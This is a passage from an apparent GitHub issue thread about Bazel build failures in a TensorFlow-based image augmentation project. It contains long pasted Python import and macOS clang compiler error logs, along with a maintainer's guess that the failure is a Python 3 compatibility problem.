Build fails

When I try to build it using the default configuration file provided, the build fails with the following output:
ERROR: /home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/external/org_tensorflow/ten
sorflow/BUILD:592:1: Executing genrule @org_tensorflow//tensorflow:tensorflow_python_api_gen failed (Exit 1)
Traceback (most recent call last):
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_au
gmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorfl
ow/tensorflow/python/pywrap_tensorflow.py", line 58, in <module>
    from tensorflow.python.pywrap_tensorflow_internal import *
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_au
gmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorfl
ow/tensorflow/python/pywrap_tensorflow_internal.py", line 28, in <module>
    _pywrap_tensorflow_internal = swig_import_helper()
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorflow/tensorflow/python/pywrap_tensorflow_internal.py", line 24, in swig_import_helper
    _mod = imp.load_module('_pywrap_tensorflow_internal', fp, pathname, description)
  File "/home/erfannoury/anaconda3/lib/python3.6/imp.py", line 243, in load_module
    return load_dynamic(name, filename, file)
  File "/home/erfannoury/anaconda3/lib/python3.6/imp.py", line 343, in load_dynamic
    return _load(spec)
ImportError: /home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorflow/tensorflow/python/_pywrap_tensorflow_internal.so: undefined symbol: PyCObject_Type

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorflow/tensorflow/python/tools/api/generator/create_python_api.py", line 27, in <module>
    from tensorflow.python.tools.api.generator import doc_srcs
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorflow/tensorflow/python/__init__.py", line 49, in <module>
    from tensorflow.python import pywrap_tensorflow
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorflow/tensorflow/python/pywrap_tensorflow.py", line 74, in <module>
    raise ImportError(msg)
ImportError: Traceback (most recent call last):
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorflow/tensorflow/python/pywrap_tensorflow.py", line 58, in <module>
    from tensorflow.python.pywrap_tensorflow_internal import *
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorflow/tensorflow/python/pywrap_tensorflow_internal.py", line 28, in <module>
    _pywrap_tensorflow_internal = swig_import_helper()
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorflow/tensorflow/python/pywrap_tensorflow_internal.py", line 24, in swig_import_helper
    _mod = imp.load_module('_pywrap_tensorflow_internal', fp, pathname, description)
  File "/home/erfannoury/anaconda3/lib/python3.6/imp.py", line 243, in load_module
    return load_dynamic(name, filename, file)
  File "/home/erfannoury/anaconda3/lib/python3.6/imp.py", line 343, in load_dynamic
    return _load(spec)
ImportError: /home/erfannoury/.cache/bazel/_bazel_erfannoury/2f5f4c4cfb6ca03d34e4841831474c3a/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api.runfiles/org_tensorflow/tensorflow/python/_pywrap_tensorflow_internal.so: undefined symbol: PyCObject_Type

Failed to load the native TensorFlow runtime.

See https://www.tensorflow.org/install/install_sources#common_installation_problems

for some common reasons and solutions.  Include the entire stack trace
above this error message when asking for help.
INFO: Elapsed time: 1827.095s, Critical Path: 148.66s
INFO: 6000 processes: 6000 local.
FAILED: Build did NOT complete successfully
//multidim_image_augmentation:apply_deformation_test                  NO STATUS
//multidim_image_augmentation:bspline_test                            NO STATUS
//multidim_image_augmentation:cubic_interpolation_test                NO STATUS
//multidim_image_augmentation:deformation_utils_test                  NO STATUS
//multidim_image_augmentation:python/kernel_tests/apply_deformation_op_test NO STATUS
//multidim_image_augmentation:python/kernel_tests/apply_tabulated_functions_op_test NO STATUS
//multidim_image_augmentation:python/kernel_tests/cubic_interpolation1d_op_test NO STATUS
//multidim_image_augmentation:python/kernel_tests/cubic_interpolation3d_op_test NO STATUS
//multidim_image_augmentation:python/kernel_tests/random_lut_controlpoints_op_test NO STATUS

FAILED: Build did NOT complete successfully

And when using the latest bazel rules and TensorFlow, build fails with the following output:
ERROR: /home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/external/org_tensorflow/ten
sorflow/BUILD:533:1: Executing genrule @org_tensorflow//tensorflow:tf_python_api_gen_v1 failed (Exit 1)
Traceback (most recent call last):
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_au
gmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensor
flow/tensorflow/python/pywrap_tensorflow.py", line 58, in <module>
    from tensorflow.python.pywrap_tensorflow_internal import *
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_au
gmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensor
flow/tensorflow/python/pywrap_tensorflow_internal.py", line 28, in <module>
    _pywrap_tensorflow_internal = swig_import_helper()
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensorflow/tensorflow/python/pywrap_tensorflow_internal.py", line 24, in swig_import_helper
    _mod = imp.load_module('_pywrap_tensorflow_internal', fp, pathname, description)
  File "/home/erfannoury/anaconda3/lib/python3.6/imp.py", line 243, in load_module
    return load_dynamic(name, filename, file)
  File "/home/erfannoury/anaconda3/lib/python3.6/imp.py", line 343, in load_dynamic
    return _load(spec)
ImportError: /home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensorflow/tensorflow/python/_pywrap_tensorflow_internal.so: undefined symbol: PyCObject_Type

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensorflow/tensorflow/python/tools/api/generator/create_python_api.py", line 27, in <module>
    from tensorflow.python.tools.api.generator import doc_srcs
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensorflow/tensorflow/python/__init__.py", line 49, in <module>
    from tensorflow.python import pywrap_tensorflow
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensorflow/tensorflow/python/pywrap_tensorflow.py", line 74, in <module>
    raise ImportError(msg)
ImportError: Traceback (most recent call last):
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensorflow/tensorflow/python/pywrap_tensorflow.py", line 58, in <module>
    from tensorflow.python.pywrap_tensorflow_internal import *
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensorflow/tensorflow/python/pywrap_tensorflow_internal.py", line 28, in <module>
    _pywrap_tensorflow_internal = swig_import_helper()
  File "/home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensorflow/tensorflow/python/pywrap_tensorflow_internal.py", line 24, in swig_import_helper
    _mod = imp.load_module('_pywrap_tensorflow_internal', fp, pathname, description)
  File "/home/erfannoury/anaconda3/lib/python3.6/imp.py", line 243, in load_module
    return load_dynamic(name, filename, file)
  File "/home/erfannoury/anaconda3/lib/python3.6/imp.py", line 343, in load_dynamic
    return _load(spec)
ImportError: /home/erfannoury/.cache/bazel/_bazel_erfannoury/3870f3bce73f7bcb8bc6521ddb648a26/execroot/multidim_image_augmentation/bazel-out/host/bin/external/org_tensorflow/tensorflow/create_tensorflow.python_api_1.runfiles/org_tensorflow/tensorflow/python/_pywrap_tensorflow_internal.so: undefined symbol: PyCObject_Type

Failed to load the native TensorFlow runtime.

See https://www.tensorflow.org/install/errors

for some common reasons and solutions.  Include the entire stack trace
above this error message when asking for help.
INFO: Elapsed time: 2011.728s, Critical Path: 152.53s
INFO: 7395 processes: 7395 local.
FAILED: Build did NOT complete successfully
//multidim_image_augmentation:apply_deformation_test                  NO STATUS
//multidim_image_augmentation:bspline_test                            NO STATUS
//multidim_image_augmentation:cubic_interpolation_test                NO STATUS
//multidim_image_augmentation:deformation_utils_test                  NO STATUS
//multidim_image_augmentation:python/kernel_tests/apply_deformation_op_test NO STATUS
//multidim_image_augmentation:python/kernel_tests/apply_tabulated_functions_op_test NO STATUS
//multidim_image_augmentation:python/kernel_tests/cubic_interpolation1d_op_test NO STATUS
//multidim_image_augmentation:python/kernel_tests/cubic_interpolation3d_op_test NO STATUS
//multidim_image_augmentation:python/kernel_tests/random_lut_controlpoints_op_test NO STATUS

FAILED: Build did NOT complete successfully

Any ideas on how can I build the project successfully?

Thanks for reporting
Initial suspicion is this is a python 3 compatibility issue; the ops have mostly been developed and tested on python 2.7. ("undefined symbol: PyCObject_Type" is the clue).
If you are able to test with py2.7 this would be useful to confirm, otherwise I'll try and recreate this issue on a clean machine install in the next week or so.

I tried building it with Python 2.7 and TensorFlow 1.12.0 and Apple LLVM version 10.0.0 (clang-1<IP_ADDRESS>) on macOS. This is the error that I get:
external/org_tensorflow/tensorflow/stream_executor/stream.cc:2000:20: note: found near match 'mu_'
1 warning generated.
ERROR: /private/var/tmp/_bazel_erfannoury/97ea2cf401b618555fb89753b5af4c62/external/org_tensorflow/tensorflow/python/eager/BUILD:10:1: C++ compilation of rule '@org_tensorflow//tensorflow/python/eager:pywrap_tfe_lib' failed (Exit 1)
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:518:15: error: C++ requires a type specifier for all declarations
    char_type toupper(char_type __c) const
              ^
bazel-out/darwin-opt/genfiles/external/local_config_python/python_include/pyport.h:731:29: note: expanded from macro 'toupper'
#define toupper(c) towupper(btowc(c))
                            ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:524:48: error: too many arguments provided to function-like macro invocation
    const char_type* toupper(char_type* __low, const char_type* __high) const
                                               ^
bazel-out/darwin-opt/genfiles/external/local_config_python/python_include/pyport.h:731:9: note: macro 'toupper' defined here
#define toupper(c) towupper(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:524:29: error: expected ';' at end of declaration list
    const char_type* toupper(char_type* __low, const char_type* __high) const
                            ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:536:48: error: too many arguments provided to function-like macro invocation
    const char_type* tolower(char_type* __low, const char_type* __high) const
                                               ^
bazel-out/darwin-opt/genfiles/external/local_config_python/python_include/pyport.h:729:9: note: macro 'tolower' defined here
#define tolower(c) towlower(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:520:27: error: use of undeclared identifier '__c'
        return do_toupper(__c);
                          ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:627:15: error: C++ requires a type specifier for all declarations
    char_type toupper(char_type __c) const
              ^
bazel-out/darwin-opt/genfiles/external/local_config_python/python_include/pyport.h:731:29: note: expanded from macro 'toupper'
#define toupper(c) towupper(btowc(c))
                            ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:633:48: error: too many arguments provided to function-like macro invocation
    const char_type* toupper(char_type* __low, const char_type* __high) const
                                               ^
bazel-out/darwin-opt/genfiles/external/local_config_python/python_include/pyport.h:731:9: note: macro 'toupper' defined here
#define toupper(c) towupper(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:633:29: error: expected ';' at end of declaration list
    const char_type* toupper(char_type* __low, const char_type* __high) const
                            ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:645:48: error: too many arguments provided to function-like macro invocation
    const char_type* tolower(char_type* __low, const char_type* __high) const
                                               ^
bazel-out/darwin-opt/genfiles/external/local_config_python/python_include/pyport.h:729:9: note: macro 'tolower' defined here
#define tolower(c) towlower(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:629:27: error: use of undeclared identifier '__c'
        return do_toupper(__c);
                          ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:755:21: error: too many arguments provided to function-like macro invocation
isspace(_CharT __c, const locale& __loc)
                    ^
bazel-out/darwin-opt/genfiles/external/local_config_python/python_include/pyport.h:725:9: note: macro 'isspace' defined here
#define isspace(c) iswspace(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:755:1: error: declaration conflicts with target of using declaration already in scope
isspace(_CharT __c, const locale& __loc)
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk/usr/include/_ctype.h:267:1: note: target of using declaration
isspace(int _c)
^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/cctype:113:9: note: using declaration
using ::isspace;
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:757:5: error: expected expression
    return use_facet<ctype<_CharT> >(__loc).is(ctype_base::space, __c);
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:758:2: error: expected ';' at end of declaration
}
 ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:779:21: error: too many arguments provided to function-like macro invocation
isupper(_CharT __c, const locale& __loc)
                    ^
bazel-out/darwin-opt/genfiles/external/local_config_python/python_include/pyport.h:727:9: note: macro 'isupper' defined here
#define isupper(c) iswupper(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:779:1: error: declaration conflicts with target of using declaration already in scope
isupper(_CharT __c, const locale& __loc)
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk/usr/include/_ctype.h:273:1: note: target of using declaration
isupper(int _c)
^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/cctype:114:9: note: using declaration
using ::isupper;
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/darwin-opt/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:781:5: error: expected expression
    return use_facet<ctype<_CharT> >(__loc).is(ctype_base::upper, __c);
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:782:2: error: expected ';' at end of declaration
}
 ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:787:21: error: too many arguments provided to function-like macro invocation
islower(_CharT __c, const locale& __loc)
                    ^
bazel-out/darwin-opt/genfiles/external/local_config_python/python_include/pyport.h:723:9: note: macro 'islower' defined here
#define islower(c) iswlower(btowc(c))
        ^
fatal error: too many errors emitted, stopping now [-ferror-limit=]
20 errors generated.
INFO: Elapsed time: 888.459s, Critical Path: 141.15s
INFO: 3720 processes: 3720 local.
 This is the error that I get:
ERROR: /private/var/tmp/_bazel_erfannoury/97ea2cf401b618555fb89753b5af4c62/external/org_tensorflow/tensorflow/python/eager/BUILD:10:1: C++ compilation of rule '@org_tensorflow//tensorflow/python/eager:pywrap_tfe_lib' failed (Exit 1)
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:518:15: error: C++ requires a type specifier for all declarations
    char_type toupper(char_type __c) const
              ^
bazel-out/host/genfiles/external/local_config_python/python_include/pyport.h:731:29: note: expanded from macro 'toupper'
#define toupper(c) towupper(btowc(c))
                            ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:524:48: error: too many arguments provided to function-like macro invocation
    const char_type* toupper(char_type* __low, const char_type* __high) const
                                               ^
bazel-out/host/genfiles/external/local_config_python/python_include/pyport.h:731:9: note: macro 'toupper' defined here
#define toupper(c) towupper(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:524:29: error: expected ';' at end of declaration list
    const char_type* toupper(char_type* __low, const char_type* __high) const
                            ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:536:48: error: too many arguments provided to function-like macro invocation
    const char_type* tolower(char_type* __low, const char_type* __high) const
                                               ^
bazel-out/host/genfiles/external/local_config_python/python_include/pyport.h:729:9: note: macro 'tolower' defined here
#define tolower(c) towlower(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
